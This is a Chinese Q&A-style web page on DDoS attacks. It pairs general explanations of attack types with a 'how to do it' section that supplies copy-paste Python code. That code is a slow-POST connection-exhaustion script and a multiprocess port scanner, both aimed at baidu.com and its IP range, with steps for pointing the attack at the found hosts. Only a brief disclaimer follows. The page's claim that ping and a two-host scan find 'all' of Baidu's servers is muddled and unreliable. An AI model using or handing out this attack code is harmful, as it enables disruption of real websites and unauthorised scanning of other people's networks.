简述DDoS攻击的原理
被DDoS攻击时的现;被攻击主机上有大量等待的TCP连接;网络中充斥着大量的无用的数据包,源地址为假;制造高流量无用数据,造成网络拥塞,使受害主机无法正常和外界通讯。
利用受害主机提供的服务或传输协议上的缺陷,反复高速的发出特定的服务请求,使受害主机无法及时处理所有正常请求 ;严重时会造成系统死机。
扩展资料:
分布式拒绝服务攻击是一种恶意企图,通过大量互联网流量压倒目标或其周围的基础架构来破坏目标服务器,服务或网络的正常流量。DDoS攻击通过利用多个受损计算机系统作为攻击流量来源来实现有效性。
被利用的机器可以包括计算机和其他网络资源,例如物联网设备。从高层次来看,DDoS攻击就像堵塞高速公路的交通堵塞,阻止了常规交通到达其所需的目的地。
如何进行DDOS攻击怎么做
会Python吗?下一个Python3.7.0-3.7.3,把代码复制下,粘贴即可
代码:
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="baidu.com"#在双引号里输入对方IP或域名,要保证他联网了或开机了,这里拿百度做示范(别运行!不然后果自负!!)
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(10)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
如果你要攻击网站,以上代码虽然可行,但是,攻击效果很不好。
所以,最好用Windows里的PING进行检测
操作:
在Windows搜索栏里输入:cmd
输入:
ping -n 10 -l 1 baidu.com
//这里拿百度做示范,别真打百度!
那么,就会发现,系统反映了:
正在 Ping baidu.com [39.156.69.79] 具有 1 字节的数据:
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=29ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
39.156.69.79 的 Ping 统计信息:
数据包: 已发送 = 10,已接收 = 10,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 26ms,最长 = 29ms,平均 = 27ms
说明,百度的服务器有一个主服务器是39.156.69.79
那么,就来查找百度的所有服务器吧!
输入以下代码:
#绝大多数成功的网络攻击都是以端口扫描开始的,在网络安全和黑客领域,端口扫描是经常用到的技术,可以探测指定主机上是否
#开放了指定端口,进一步判断主机是否运行了某些重要的网络服务,最终判断是否存在潜在的安全漏洞,从一定意义上将也属于系统运维的范畴
#端口扫描器程序:模拟端口扫描器的工作原理,并采用多进程技术提高扫描速度
import socket
import sys
import multiprocessing
import time as t
def ports(ports_serve):
#获取常用端口对应的服务名称
for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:
try:
ports_serve[port]=socket.getservbyport(port)
except socket.error:
pass
def ports_scan(host,ports_service):
ports_open=[]
try:
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#超时时间的不同会影响扫描结果的精确度
socket.timeout(0.01)
except socket.error:
print('socket creation error')
sys.exit()
for port in ports_service:
try:
#尝试连接指定端口
sock.connect((host,port))
#记录打开的端口
ports_open.append(port)
sock.close()
except socket.error:
pass
return ports_open
if __name__ == '__main__':
m=multiprocessing.Manager()
ports_service=dict()
results=dict()
ports(ports_service)
#创建进程池,允许最多8个进程同时运行
pool = multiprocessing.Pool(processes=8)
net = '39.156.69.'#后面的IP少一个,因为要扫描这段区域内的IP,从而进行攻击
for host_number in map(str,range(8,10)):
host = net + host_number
#创建一个新进程,同时记录其运行结果
results[host] = pool.apply_async(ports_scan,(host,ports_service))
print('starting '+host+'...')
#关闭进程池,close()必须在join()之前调用
pool.close()
#等待进程池中的进程全部执行结束
pool.join()
#打印输出结果
for host in results:
print('='*30)
print(host,'.'*10)
for port in results[host].get():
print(port,':',ports_service[port])
你会发现,Python反映了:
starting 39.156.69.8...
starting 39.156.69.9...
//并不是指百度只有这两个服务器!而是我们目前只能扫描到两个!
接着,运行DDoS攻击程序,把IP分别改为39.156.69.8和39.156.69.9
就可以实现DDoS攻击了。
//注:请不要用于违法用途,并且不要随意进行攻击。如想使用,可攻击虚拟机,但不要攻击外网IP和域名!!!
DDOS攻击方式有哪些?
ddos攻击主要有以下3种方式。
大流量攻击
大流量攻击通过海量流量使得网络的带宽和基础设施达到饱和,将其消耗殆尽,从而实现淹没网络的目的。一旦流量超过网络的容量,或网络与互联网其他部分的连接能力,网络将无法访问。大流量攻击实例包括ICMP、碎片和UDP洪水。
TCP状态耗尽攻击
TCP状态耗尽攻击试图消耗许多基础设施组件(例如负载均衡器、防火墙和应用服务器本身)中存在的连接状态表。例如,防火墙必须分析每个数据包来确定数据包是离散连接,现有连接的存续,还是现有连接的完结。同样,入侵防御系统必须跟踪状态以实施基于签名的数据包检测和有状态的协议分析。这些设备和其他有状态的设备—包括负责均衡器—被会话洪水或连接攻击频繁攻陷。例如,Sockstress攻击可通过打开套接字来填充连接表以便快速淹没防火墙的状态表。
应用层攻击
应用层攻击使用更加尖端的机制来实现黑客的目标。应用层攻击并非使用流量或会话来淹没网络,它针对特定的应用/服务缓慢地耗尽应用层上的资源。应用层攻击在低流量速率下十分有效,从协议角度看,攻击中涉及的流量可能是合法的。这使得应用层攻击比其他类型的DDoS攻击更加难以检测。HTTP洪水、DNS词典、Slowloris等都是应用层攻击的实例。
0条大神的评论